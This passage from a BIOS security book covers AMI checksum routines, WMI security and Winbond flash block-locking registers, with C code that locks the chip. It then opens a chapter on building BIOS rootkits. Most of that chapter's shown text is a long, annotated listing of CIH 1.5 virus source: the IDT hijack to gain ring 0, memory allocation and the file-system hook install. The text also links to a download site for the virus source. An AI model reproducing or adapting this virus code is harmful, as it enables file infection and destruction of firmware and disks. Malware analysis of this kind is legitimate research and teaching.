AMI BIOS integrity checks seem to be only in the form of 8-bit checksum verifications. I haven't done complete reverse engineering on any AMI BIOS binary. Nevertheless, I'll show you every routine that I've found so far. The first routine verifies the 8-bit checksum of the overall BIOS binary. It's shown in listing 11.12.

The listings in this subsection come from the IDA Pro disassembly database of BIOS binary for Soltek SL-865PE motherboard.

Listing 11.12 8-bit Checksum Verification Routine for AMI BIOS Version 8.00

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex Values</th>
<th>Mnemonic</th>
</tr>
</thead>
<tbody>
<tr>
<td>F000:02CA</td>
<td></td>
<td>Calc_Module_Sum proc far</td>
</tr>
<tr>
<td>F000:02CA</td>
<td>1E</td>
<td>push ds</td>
</tr>
<tr>
<td>F000:02CB</td>
<td>66 60</td>
<td>pushad</td>
</tr>
<tr>
<td>F000:02CD</td>
<td>6A 00</td>
<td>push 0</td>
</tr>
<tr>
<td>F000:02CF</td>
<td>1F</td>
<td>pop ds</td>
</tr>
<tr>
<td>F000:02D0</td>
<td></td>
<td>assume ds:_120000</td>
</tr>
<tr>
<td>F000:02D0</td>
<td>66 BE 00 00 12 00</td>
<td>mov esi, _120000h</td>
</tr>
<tr>
<td>F000:02D0</td>
<td>2E 8B 0E B1 00</td>
<td>mov cx, cs:BIOS_seg_count?</td>
</tr>
<tr>
<td>F000:02DB</td>
<td>E8 28 00</td>
<td>call get_sysbios_start_addr</td>
</tr>
<tr>
<td>F000:02DE</td>
<td>75 18</td>
<td>jnz short AMI BIOSC_not_found</td>
</tr>
<tr>
<td>F000:02E0</td>
<td>67 8B 4F F6</td>
<td>mov cx, [edi-0Ah]</td>
</tr>
<tr>
<td>F000:02E4</td>
<td>66 33 C0</td>
<td>xor eax, eax</td>
</tr>
<tr>
<td>F000:02E7</td>
<td></td>
<td>next_lower_dword:</td>
</tr>
</tbody>
</table>
Note that the routine shown in listing 11.12 is not directly shown in the boot block because it's a compressed part in the overall BIOS binary. You can view it only after it has been decompressed. The second routine is part of the POST routine with code D7h. It's shown in listing 11.13. This routine is also an 8-bit checksum calculation routine.

### Listing 11.13 8-bit Checksum Verification Routine for AMI BIOS Version 8.00 Components

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex Values</th>
<th>Mnemonic</th>
</tr>
</thead>
<tbody>
<tr>
<td>F000:043C</td>
<td></td>
<td>; In: esi = src addr to begin calculation</td>
</tr>
<tr>
<td>F000:043C</td>
<td></td>
<td>; Out: ZF = set only if the checksum is OK</td>
</tr>
<tr>
<td>F000:043C</td>
<td></td>
<td>Calc_Component_CRC proc near ; ...</td>
</tr>
<tr>
<td>F000:043C</td>
<td>66 B8 14 00 00 00</td>
<td>mov eax, 14h</td>
</tr>
<tr>
<td>F000:0442</td>
<td>66 2B F0</td>
<td>sub esi, eax</td>
</tr>
<tr>
<td>F000:0445</td>
<td>67 66 8B 0E</td>
<td>mov ecx, [esi]</td>
</tr>
<tr>
<td>F000:0449</td>
<td>66 03 C8</td>
<td>add ecx, eax</td>
</tr>
<tr>
<td>F000:044C</td>
<td>66 C1 E9 02</td>
<td>shr ecx, 2</td>
</tr>
<tr>
<td>F000:0450</td>
<td>66 33 C0</td>
<td>xor eax, eax</td>
</tr>
<tr>
<td>F000:0453</td>
<td>next_dword: ; ...</td>
<td></td>
</tr>
<tr>
<td>F000:0453</td>
<td>66 66 03 06</td>
<td>add eax, [esi]</td>
</tr>
<tr>
<td>F000:0457</td>
<td>66 83 C6 04</td>
<td>add esi, 4</td>
</tr>
<tr>
<td>F000:045B</td>
<td>67 E2 F5</td>
<td>loopd next_dword</td>
</tr>
<tr>
<td>F000:045E</td>
<td>66 0B C0</td>
<td>or eax, eax</td>
</tr>
<tr>
<td>F000:0461</td>
<td>C3</td>
<td>retn</td>
</tr>
<tr>
<td>F000:0461</td>
<td>Calc_Component_CRC endp</td>
<td></td>
</tr>
</tbody>
</table>

Listings 11.12 and 11.13 clearly show that the checksum verification routines in AMI BIOS version 8.00 are variations of the 8-bit checksum calculation routine. There may be another checksum verification mechanism embedded in one of AMI BIOS POST routines.

As you learned in chapter 10, low-level remote machine management is never carried out outside of an operating system context. Even when the remote machine is running as a remote program loader machine, there is still some kind of operating system in charge of the system locally to serve the remote management software. In this section, I focus on a widely used remote management interface: WMI. The varieties of UNIX don't have a unified approach in implementing WBEM, that's why I'm just talking about WMI at this point. The talk focuses on its security measures against remote attacks. I'm not talking about SMBIOS because it has no security measures other than administrator account protection. In chapter 10, I demonstrated that you can parse the SMBIOS information at your will once you have obtained the administrator privilege.

WMI has a two-level security measure. The first level is operating system--level authentication that asks the user for Windows logon information, and the second level is a namespace-level security measure. A user who has logged into a machine in an enterprise network will be granted to access WMI information within that computing environment only to his or her assigned namespace. The same is true for a remote WMI application. A WMI application cannot access WMI procedure or data in a remote machine outside of the context of the namespaces granted by the remote machine when the application sets up a connection to the remote machine. The context of the namespaces depends on the login information given to the remote machine by the WMI application. Therefore, from an attacker's point of view, it's difficult to break the security measure of a WMI application because it's using a two-level security measure. Nonetheless, because WMI and Internet information services are tightly connected, the weak point often attacked as an entry point is Internet information services. This is especially true because WMI has a scripting front end that has some known bugs.

A security breach in a WMI application is dangerous because it can grant unlimited access to the entire network within an organization and provide the attacker with feature-rich remote control over the organization resources. Even if the attacker only obtains that access for a while, he or she can implant a backdoor anywhere in the organization to ensure future access to the organization's resources.

11.4. Hardware-Based Security Measures

Hardware-based security measures can be effective against BIOS tampering. In this section, I explain the internal security measures in the BIOS chip.

Some BIOS chips have internal registers to control read and write access to its content. For example, the Winbond W39V040FA series of flash ROM chip has internal registers known as block locking registers (BLRs). These registers are able to block read and write access to the chip entirely, making the chip inaccessible even from low-level

---

11 You can search for and download the datasheet of this chip at http://www.alldatasheet.com.
software such as device driver. Table 11.1 shows the locations of these registers\textsuperscript{12} in system-wide memory map.

<table>
<thead>
<tr>
<th>Registers</th>
<th>Registers Type</th>
<th>Control Block</th>
<th>Device Physical Address</th>
<th>4-GB System Memory Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>BLR7\textsuperscript{13}</td>
<td>R/W</td>
<td>7</td>
<td>7FFFFh–70000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>BLR6</td>
<td>R/W</td>
<td>6</td>
<td>6FFFFh–60000h</td>
<td>FFBE0002h</td>
</tr>
<tr>
<td>BLR5</td>
<td>R/W</td>
<td>5</td>
<td>5FFFFh–50000h</td>
<td>FFBD0002h</td>
</tr>
<tr>
<td>BLR4</td>
<td>R/W</td>
<td>4</td>
<td>4FFFFh–40000h</td>
<td>FFBC0002h</td>
</tr>
<tr>
<td>BLR3</td>
<td>R/W</td>
<td>3</td>
<td>3FFFFh–30000h</td>
<td>FFBB0002h</td>
</tr>
<tr>
<td>BLR2</td>
<td>R/W</td>
<td>2</td>
<td>2FFFFh–20000h</td>
<td>FFBA0002h</td>
</tr>
<tr>
<td>BLR1</td>
<td>R/W</td>
<td>1</td>
<td>1FFFFh–10000h</td>
<td>FFB90002h</td>
</tr>
<tr>
<td>BLR0</td>
<td>R/W</td>
<td>0</td>
<td>0FFFFh–00000h</td>
<td>FFB80002h</td>
</tr>
</tbody>
</table>

Table 11.1 BLR types and access memory map table for Winbond W39V040FA

The device physical address column in table 11.1 refers to the physical address of the blocking registers with respect to the beginning of the chip not in system-wide address space context. The meaning of each bit in the BLRs is shown in table 11.2.

<table>
<thead>
<tr>
<th>Bit</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>7–3</td>
<td>Reserved</td>
</tr>
</tbody>
</table>
| 2   | Read Lock
| 1: Prohibit to read in the block where set.
| 0: Normal read operation in the block where clear. This is the default state. |
| 1   | Lock Down
| 1: Prohibit further to set or clear the read-lock or write-lock bits. This lock-down bit can only be set, not cleared. Only if the device is reset or repowered is the lock-down bit cleared.
| 0: Normal operation for read-lock or write-lock. This is the default state. |
| 0   | Write Lock
| 1: Prohibited to write in the block where set. This is the default state.
| 0: Normal programming or erase operation in the block where clear. |

Table 11.2 BLR bits function table

\textsuperscript{12} Tables 11.1 and 11.2 are identical to tables 9.1 and 9.2 in chapter 9. They are reproduced here for your convenience.

\textsuperscript{13} The size of a BLR is 1 byte.
The lock-down bit,\footnote{The lock-down bit is bit 1.} along with the read-lock and write-lock bits in table 11.2, can disable access to the W39V040FA chip entirely. The lock-down bit can be set \textit{but} cannot be cleared; it will be cleared only during power up or restart. Therefore, if the BIOS code sets this bit upon system initialization, you will never be able to change it. Furthermore, if it's set with the read-lock and write-lock bits, the BIOS chip will be inaccessible within an operating system; you won't be able to read the contents of the BIOS chip. Even if you are able to read something from the BIOS chip address space, the result will be bogus. I conducted an experiment on these bits and can show you the result. I set the lock-down bit, read-lock bit, and write-lock bit by using a modified version of \texttt{bios Probe} software that you learned in chapter 9 and subsequently try to read the contents of the chip. This modified version of \texttt{bios Probe} is \texttt{bios Probe} version 0.35. You can download the modified source code at \url{http://www.megaupload.com/?d=LZ71RQL0}. The locking feature support in \texttt{bios Probe} source code is added in several files: \texttt{flash_rom.c}, \texttt{w39v040fa.c}, and \texttt{w39v040fa.h}. Let me review the changes. Start with the \texttt{flash_rom.c} file. The changes in \texttt{flash_rom.c} to accommodate the new chip-locking ability\footnote{Chip locking means disabling access to the BIOS chip entirely.} are shown in listing 11.14.

\begin{verbatim}
Listing 11.14 Changes in flash_rom.c To Accommodate Chip Locking
// irrelevant code omitted

void try_lock_w39v040fa()
{/*++
   Routine Description:
   Disable access to Winbond W39V040FA chip entirely.
   Both read access and write access are disabled.
   Arguments:
   None
   Return Value:
   None
   Note:
   - This is only an experimental function. It must be removed in the
     next version of bios Probe.
--*/
{
   struct flashchip * flash;

   if ((flash = probe_flash (flashchips)) == NULL) {
      printf("EEPROM not found\n");
      return;
   }

   if( 0 == strcmp(flash->name, "W39V040FA"))
   

// irrelevant code omitted
\end{verbatim}
{ printf("Disabling accesses to W39V040FA chip...\n");
    lock_39v040fa(flash);
} else {
    printf("Unable to disable access to flash ROM. The chip is not "
            "W39V040FA\n");
}
}

void usage(const char *name)
{
    printf("usage: %s [-rwv] [-c chipname][file]\n", name);
    // Irrelevant code omitted
    printf("%s -lock \n", name);
    printf("-r: read flash and save into file\n";
    // Irrelevant code omitted
    "-lock: disable access to Winbond W39V040FA flash chip");
    exit(1);
}

int main (int argc, char * argv[])
{
    int read_it = 0, write_it = 0, verify_it = 0,
        pci_rom_read = 0, pci_rom_write = 0,
        pci_rom_erase = 0, smbios_dump = 0,
        lock_w39v040fa = 0;
    // Irrelevant code omitted
    } else if(!strcmp(argv[1],"-lock") ) {
        lock_w39v040fa = 1;
    }
    // Irrelevant code omitted
    // If it's a BIOS chip locking request, try to disable access to
    // Winbond W39V040FA
    // if( lock_w39v040fa )
    { try_lock_w39v040fa();
        CleanupDriver(); // Cleanup driver interface
        return 0;
    }
    // Irrelevant code omitted
}
The `try_lock_w39v040fa` function in listing 11.14 activates the chip-locking mechanism. This function is called by the `main` function if the user invokes `bios_probe` with a `-lock` input parameter. The `try_lock_w39v040fa` function calls the `lock_39v040fa` function to activate the chip-locking mechanism if the flash ROM chip in the system is a Winbond W39V040FA. The `lock_39v040fa` function is declared in the `w39v040fa.h` file, as shown in listing 11.15.

**Listing 11.15 Declaring the `lock_39v040fa` Function**

```c
#ifndef __W39V040FA_H__
#define __W39V040FA_H__ 1

// Irrelevant code omitted
extern void lock_39v040fa (struct flashchip * flash); // Quick hack
#endif /* __W39V040FA_H__ */
```

The implementation of the `lock_39v040fa` function is in the `w39v040fa.c` file, as shown in listing 11.16.

**Listing 11.16 Implementing the `lock_39v040fa` Function**

```c
void lock_39v040fa(struct flashchip * flash) {
    int i;
    unsigned char byte_val;
    volatile char * bios = flash->virt_addr;
    volatile char * dst = bios;
    volatile char * blr_base = NULL;

    *bios = 0xF0; // Product ID exit
    myusec_delay(10);

    blr_base = (volatile char*) MapPhysicalAddressRange(
                BLOCK_LOCKING_REGS_PHY_BASE, 
                BLOCK_LOCKING_REGS_PHY_RANGE);
    if (blr_base == NULL) {
        perror( "Error: Unable to map Winbond w39v040fa block locking"
                "registers!\n"");
        return;
    }
    // Disable access to the BIOS chip entirely
    for( i = 0; i < 8 ; i++ )
```
 Listings 11.14–11.16 sum up the changes to implement the chip-locking mechanism in `bios_probe` source code.

First, I show you the result when I read the BIOS chip contents before activating the chip-locking mechanism. It's shown in hex dump 11.3.\(^\text{16}\)

### Hex dump 11.3 Contents of the BIOS Chip (Read before Activating Chip Locking)

<table>
<thead>
<tr>
<th>Address</th>
<th>Hexadecimal Value</th>
<th>ASCII Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>494D 4424 2900 5100 4100 0013 0000 0102</td>
<td>IMD$.Q.A........</td>
</tr>
<tr>
<td>00000010</td>
<td>00E0 0307 90DE CB7F 0000 0000 3750 686F</td>
<td>...............7Pho</td>
</tr>
<tr>
<td>00000020</td>
<td>656E 6978 2054 6563 686E 6666 6F67 6965</td>
<td>enix Technologie</td>
</tr>
<tr>
<td>00000030</td>
<td>732C 204C 5444 0036 3E30 3020 5047 0031</td>
<td>s, LTD.6.00 PG.1</td>
</tr>
<tr>
<td>00000050</td>
<td>0001 0203 04FF FFFF FFFF FFFF FFFF</td>
<td>.................</td>
</tr>
<tr>
<td>00000060</td>
<td>FFFF FFFF FFFF 2000 2000 2000 0000 0001</td>
<td>.......</td>
</tr>
<tr>
<td>00000070</td>
<td>0002 0802 0001 0203 0420 0049 3836 3550</td>
<td>...........I865P</td>
</tr>
<tr>
<td>00000080</td>
<td>452D 3333 3337 3237 0020 0020 0000 1600</td>
<td>E-W83627. ....</td>
</tr>
<tr>
<td>00000090</td>
<td>030D 0300 0103 0203 0402 0202 0220 0020</td>
<td>...........</td>
</tr>
<tr>
<td>000000A0</td>
<td>0002 0020 0000 4A00 0420 0400 0103 0F02</td>
<td>..J.......</td>
</tr>
<tr>
<td>000000B0</td>
<td>290F 0000 FFBB EBBF 038E 6400 0A0B D007</td>
<td>)...........</td>
</tr>
<tr>
<td>000000C0</td>
<td>4104 0A00 0800 FFFF 536F 636B 6574 2034</td>
<td>A.......Socket 4</td>
</tr>
<tr>
<td>000000D0</td>
<td>3738 0049 6E74 656C 0049 6E74 656C 2852</td>
<td>Intel.Intel(R</td>
</tr>
<tr>
<td>000000E0</td>
<td>2920 4365 6C65 726F 6E28 5229 2043 5055</td>
<td>Celeron(R) CPU</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>0007FFB0</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>...............</td>
</tr>
<tr>
<td>0007FFC0</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>...............</td>
</tr>
<tr>
<td>0007FFD0</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>...............</td>
</tr>
<tr>
<td>0007FFE0</td>
<td>0000 0000 0000 0000 3641 3739 4144 3447</td>
<td>...........6A79AD4G</td>
</tr>
<tr>
<td>0007FFFF</td>
<td>E5AB E000 F02A 4D52 422A 0200 0000 60FF</td>
<td>[.<strong>MB</strong>.*....]</td>
</tr>
</tbody>
</table>

Now, I show you the result of activating the chip-locking mechanism in my experiment. I invoke the new `bios_probe` as shown in figure 11.4 to disable further access to the BIOS chip.

---

\(^{16}\) The hex dump only shows some parts of the entire BIOS address range because of the space constraints in this book.
Figure 11.4 Disabling all access to the Winbond W39V040FA chip

Then, I try to read the contents of the BIOS chip, as shown in figure 11.5.
Figure 11.5 indicates that everything is fine. Nevertheless, the hex dump of the result is in hex dump 11.4.

<table>
<thead>
<tr>
<th>Address</th>
<th>Hexadecimal Value</th>
<th>ASCII Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>00000010</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>00000020</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>00000030</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>00000040</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>00000050</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>00000060</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>00000070</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>00000080</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>00000090</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>000000A0</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
<tr>
<td>000000B0</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
<td>.................</td>
</tr>
</tbody>
</table>

Hex dump 11.4 New_dump.bin, the Result of Reading the BIOS Chip after Access Is Disabled
Hex dump 11.4 shows a bogus result, because every byte contains 00h.\(^{17}\) It shouldn't be 00h in all address ranges because the original hexadecimal dump doesn't contain 00h in all address ranges. You can compare hex dumps 11.3 and 11.4 to clarify my statement. At this point, you can conclude that the BIOS chip doesn't respond when it's accessed after being disabled. A further writing experiment that I carried out on the BIOS chip also gave a bogus result. The content of the BIOS chip doesn't change after access to the BIOS chip is disabled. Rebooting the machine confirms this result.

The little experiment that I carried out shows that a hardware security measure that's implemented correctly can fight against BIOS tampering effectively. Nonetheless, it only works for motherboard BIOS; PCI expansion ROM that's not part of the motherboard BIOS still risks of being easily tampered with.

Some motherboard manufacturers also don't implement this feature correctly. They only set the write-lock bit in the BIOS chip when you set BIOS flash protect to enabled in the BIOS setting. They don't set the lock down bit. Therefore, it's easy for Windows-based or Linux-based software to tamper with the BIOS chip contents. You learned how to do that in chapter 9. You can imagine the effect if the software is a malicious application.

Now, into another issue that seems to be a hardware solution to BIOS tampering, the so-called dual BIOS\(^ {18}\) solution that uses two BIOS chips to protect against system failure caused by malfunction in one chip. Some motherboard manufacturers that sell motherboards equipped with dual BIOS state that one purpose of dual BIOS is to fight a malicious BIOS virus. Indeed, this kind of protection will work against old viruses such as the CIH, or Chernobyl, virus written by Chen Ing Hau of Taiwan that render the BIOS contents useless and made the system unable to boot. Nonetheless, as I explained previously, the hardware protection will prevent BIOS tampering only if the BIOS chip is inaccessible or at least the write-lock and the lock-down bits in the chip are set to one. Dual BIOS won't protect the system from "correct" BIOS tampering, because as long as the system can boot perfectly from the primary BIOS chip, it will boot from it. In this case, the system won't be aware that the BIOS chip contents have been modified; as long as the modification doesn't screw up the BIOS, it's OK. By "correct" BIOS tampering, I mean a modification to BIOS chip that still keeps the system usable. For example, a BIOS code injection is legitimate BIOS tampering from the dual BIOS point of view, because the system will still boot from the primary BIOS chip. Therefore, dual BIOS might be useful as a security measure against "correct" BIOS tampering.

\(^{17}\) Every byte in the hex dump result contains 00h, from the beginning to end. It's not shown entirely because of the space constraints in this book.

\(^{18}\) Some manufacturers name this feature top-hat flash, and there are many other terms. I stick to dual BIOS.
against BIOS viruses that render the BIOS unusable, but it can't fight non-destructive BIOS tampering. Gigabyte Technology\(^{19}\) implements dual BIOS in its motherboards by using two BIOS flash chips. Upon boot, the BIOS code will check the integrity of the BIOS module checksums. If there is a checksum error, the currently executed BIOS code will switch execution to the other BIOS chip that was not used to boot the system. I don't know how this is accomplished because I have never reverse-engineered BIOS binary for dual BIOS motherboards. However, after reading the motherboard manual, it seems that the checksum checks are executed in the boot block code. If you're interested in digging deeper into the subject of dual BIOS, you can download Gigabyte Technology's GA-965P-DS4 motherboard manual at http://www.gigabyte.com.tw/Support/Motherboard/Manual_Model.aspx?ClassValue=Motherboard&ProductID=2288&ProductName=GA-965P-DS4 and read the section that introduces the flash BIOS method to start your investigation.

\(^{19}\) Gigabyte Technology is based in Taiwan. It's one of the three big manufacturers of PC peripherals. The official website is http://www.gigabyte.com.tw.
Chapter 12 BIOS Rootkit Engineering

PREVIEW

In the previous chapters, you learned the basic techniques to interact with the firmware in the system. This chapter combines those techniques into the ultimate tool, the BIOS rootkit. I start by reviewing the history of BIOS exploitation, dissecting the legendary CIH virus, and then proceed to explaining how to devise a BIOS rootkit. The techniques that you learn in this chapter could be classified as "forbidden" techniques; in the ninjutsu realm they would be kinjutsu, or "forbidden" skills. The techniques I show here are only for experts because they are complicated, are risky, and can damage your system permanently. Don't try any of these techniques if you don't understand their mechanism in detail. You have been warned.

12.1. Looking Back through BIOS Exploitation History

In the history of PC-based computing, there was one major virus outbreak on the PC BIOS, the CIH virus, written by Chen Ing Hau of Taiwan. There were several variants of CIH. This section shows a snippet from source code of CIH version 1.5. It shows the method used by CIH to destroy the BIOS. I don't explain the infection method used by CIH in detail because the focus in this chapter is synthesizing a BIOS rootkit. The source code is available at http://vx.netlux.org/src_view.php?file=cih15.zip. This website has a search feature; you can use it to locate other versions of CIH source code.

As with other viruses' code, CIH source code is twisted and hard to understand because it uses many indirect branching instructions. I show you the basic idea behind this virus before delving into its code snippets. The characteristics of CIH 1.5 are as follows:

1. It infects executable files, particularly the so-called portable executable (PE) file. In this context, PE files are 32-bit executable files that run on the Windows platform.
2. It modifies the interrupt descriptor table (IDT) with an exception handler entry that points to the custom exception handler routine in the virus code.
3. It raises an exception to enter kernel mode. The kernel mode code is in the virus's custom exception handler routine.
4. Characteristics 2 and 3 imply that the virus code must be able to modify IDT entries from user-mode code. Therefore, CIH cannot run in Windows versions based on an NT kernel, i.e., it cannot run in Windows NT/2000/XP because IDT is not accessible to user-mode code in these Windows versions. CIH can run only in Windows 9x operating systems because IDT can be modified from user-mode code in these operating systems.
5. In its exception handler, it installs a new file system hook in Windows 9x to infect executable files. This file system hook also contains code to destroy the system.
6. The code to destroy the system is time-based. The code checks the current date before executing the destruction code. If the date matches the predefined "activation date" in the virus code, it will destroy the system; otherwise, it will not. It doesn't destroy the system immediately after the infection.

7. The destruction code destroys the content of the BIOS chip in systems that use the Intel PIIX\(^1\) chipset. It also destroys the contents of the HDD. I don't delve into the HDD destruction routine in this section. I focus on the BIOS destruction code instead.

Now you have an idea of what the CIH code contains. Figure 12.1 shows the rough layout of CIH 1.5 source code.

CIH Source Code

![Figure 12.1 CIH source code layouts](image)

Figure 12.1 shows that CIH source code uses two logical segments. The first is used as the template for the infected PE files, and the second is used for the virus routines. The second segment is divided into three components: IDT modification routine, exception handler routine, and file system API hook routine. I won't explain the contents of the first segment. If you want to understand this segment, look for tutorial on the PE file format on the Web. The second segment contains all of the code that you need to understand. A glimpse of the algorithm used by CIH 1.5 was already presented in the explanation of its characteristics. Now, I'll show the heavily commented code for the second segment in CIH 1.5 source code. You'll examine its code flow later.

**Listing 12.1 Contents of the Second Segment in CIH Source Code**

```assembly
VirusGame    SEGMENT
    ASSUME   CS:VirusGame, DS:VirusGame, SS:VirusGame
    ASSUME   ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; *             Ring3 Virus Game Initial Program          *
; *********************************************************
MyVirusStart:
```

---

\(^1\) This southbridge chip is used with Intel 440BX, 430BX, and 440GX northbridges. PIIX stands for PCI-to-ISA/IDE Xcelerator.
push ebp

; **************************************
; * Modify structured exception *
; * handling and prevent exception *
; * error occurrence, especially in NT *
; **************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0 ; "Relative" (calculated from the end of this opcode) call ; to @0 routine
@0:
pop ebx ; ebx = return address -> i.e., address right after the ; calling opcode at runtime
lea ecx, StopToRunVirusCode-@0[ebx] ; ecx = StopToRunVirusCode - @0 ; + ebx ; i.e., ecx = runtime address of StopToRunVirusCode label
push ecx ; Save runtime address of StopToRunVirusCode label to stack
push eax ; Save fs:[8] to stack

; **************************************
; * Modify the IDT *
; * to obtain Ring0 privilege *
; **************************************
push eax ; Put "dummy" placeholder for IDT base address ; into stack
sidt [esp-02h] ; Obtain IDT base address; store it in stack ; (esp-2 = 16-bit IDT limit)
pop ebx ; ebx = IDT base address (32 bits)
add ebx, HookExceptionNumber*08h+04h ; ZF = 0; ; ebx = pointer to patched IDT entry
cli ; Disable maskable interrupt; exception is still enabled
mov ebp, [ebx] ; Save exception-handler base address ; (bits 16-31) to ebp
mov bp, [ebx-04h] ; Save exception-handler base address ; (bits 0-15) to ebp
lea esi, MyExceptionHook-@1[ecx] ; esi = MyExceptionHook - ; StopToRunVirusCode + runtime address of StopToRunVirusCode label
push esi ; Save runtime address of MyExceptionHook label to stack
mov [ebx-04h], si ; Modify exception-handler entry point address ; (bits 0-15)
shr esi, 16 ; si = exception-handler entry point address ; (bits 16-31)
mov [ebx+02h], si ; modify exception-handler entry point address ; (bits 16-31)
pop esi ; esi = runtime address of MyExceptionHook label

; **************************************
; * Generate exception to obtain Ring0 *


; *******************************************************
int HookExceptionNumber; Generate exception -> jump to
; MyExceptionHook routine -> allocate system memory for this virus
ReturnAddressOfEndException = $

; *******************************************************
; * Merge all virus code section *
; *******************************************************
push esi
mov esi, eax ; esi = address of allocated system memory
LoopOfMergeAllVirusCodeSection:
    mov ecx, [eax-04h] ; ecx = VirusSize -> Hint: look at the end of
                          ; OriginalAppEXE
    rep movsb ; Copy virus code to system memory
    sub eax, 08h
    mov esi, [eax]
    or esi, esi ; First pass, esi = 0
    jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
    jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
    pop esi

; *******************************************************
; * Generate exception again *
; *******************************************************
int HookExceptionNumber ; Generate exception again -> jump to
; MyExceptionHook routine -> install file system hook

; *******************************************************
; * Restore structured *
; * exception handling *
; *******************************************************
ReadyRestoreSE:
    sti
    xor ebx, ebx
    jmp RestoreSE

; *******************************************************
; * When exception error occurs, *
; * the OS system should be in NT *
; * so that this cute virus will not *
; * continue to run; it jumps to *
; * the original application to run *
; *******************************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
    xor ebx, ebx
    mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
   pop dword ptr fs:[ebx]
   pop eax ; eax = runtime address of FileSystemApiHook label

; ******************************************************
; * Return original app to execute                     *
; ******************************************************
   pop ebp
   push 00401000h ; Push original application entry point to stack

OriginalAddressOfEntryPoint = $-4
   ret ; Return to original application entry point

; ******************************************************
; * Ring0 Virus Game Initial Program                   *
; ******************************************************
MyExceptionHook:
   @2 = MyExceptionHook
   jz InstallMyFileSystemApiHook ; First pass, jump is _not_ taken
   ; Second pass, jump _is_ taken

; ******************************************************
; * Does the virus exist in the system?                 *
; ******************************************************
   mov ecx, dr0
   jecxz AllocateSystemMemoryPage ; First pass, jump is taken because
class default value for DR0 on boot is 0
   add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
   ; Set return address to point to runtime address
   ; ******************************************************
   jz ExitRing0Init

; ******************************************************
; * Return to Ring3 initial program                    *
; ******************************************************
ExitRing0Init:
   mov [ebx-04h], bp ;
   shr ebp, 16 ; Restore exception
   mov [ebx+02h], bp ;
   iretd ; Jump to ReadyRestoreSE label

; ******************************************************
; * Allocate system memory page to use                  *
; ******************************************************
AllocateSystemMemoryPage:
   mov dr0, ebx ; Set the mark of My Virus Exists in System
   push 00000000fh ;
   push ecx ; First-pass push 0
   push 0fffffffdh
   push ecx ; First-pass push 0
   push ecx ; First-pass push 0
   push ecx ; First-pass push 0
   push 00000001h ;
```asm
push 000000002h ;
int 20h ; \VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h ; Balance stack pointer
xchg edi, eax ; EDI = allocated system memory start address
lea eax, MyVirusStart-@2[esi] ; eax = MyVirusStart - MyExceptionHook
    + runtime address of
    ; MyExceptionHook label
    ; i.e., runtime address of
    ; MyVirusStart label
iretd ; Return to Ring3 initial program

; **************************************
; * Install my file system API hook    *
; **************************************
InstallMyFileSystemApiHook:
    lea eax, FileSystemApiHook-@6[edi] ; eax = runtime address of
    ; FileSystemApiHook in the allocated system memory pages
    push eax
    \VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $
    dd 00400067h ; Use EAX, ECX, EDX, and flags
    ; This variable is patched by Windows 9x's virtual
    ; machine manager (VMM) to point to the real
    ; IFSMgr_InstallFileSystemApiHook procedure when int 20h
    ; is being processed
    mov dr0, eax ; Save OldFileSystemApiHook address
    pop eax ; EAX = FileSystemApiHook runtime address in the
    ; allocated system memory
    ; Save Old IFSMgr_InstallFileSystemApiHook entry point
    mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] ; ecx = pointer to
    ; entry point of IFSMgr_InstallFileSystemApiHook function
    mov edx, [ecx] ; edx = IFSMgr_InstallFileSystemApiHook function
    ; entry point in the system
    mov OldInstallFileSystemApiHook-@3[eax], edx ; Save address of
    ; old IFSMgr_InstallFileSystemApiHook to allocated
    ; system memory
    ; Modify IFSMgr_InstallFileSystemApiHook entry point
    lea eax, InstallFileSystemApiHook-@3[eax] ; eax = runtime
    ; address of InstallFileSystemApiHook label in
    ; allocated system memory
    mov [ecx], eax ; Modify IFSMgr_InstallFileSystemApiHook entry point
    ; to point to this virus's custom procedure in the
    ; allocated system memory
    cli
    jmp ExitRing0Init

; *********************************************************
; *             Code Size of Merge Virus Code Section     *
; *********************************************************
```

CodeSizeOfMergeVirusCodeSection = offset $

; ******************************************************
; *            IFSMgr_InstallFileSystemApiHook          *
; ******************************************************
InstallFileSystemApiHook:
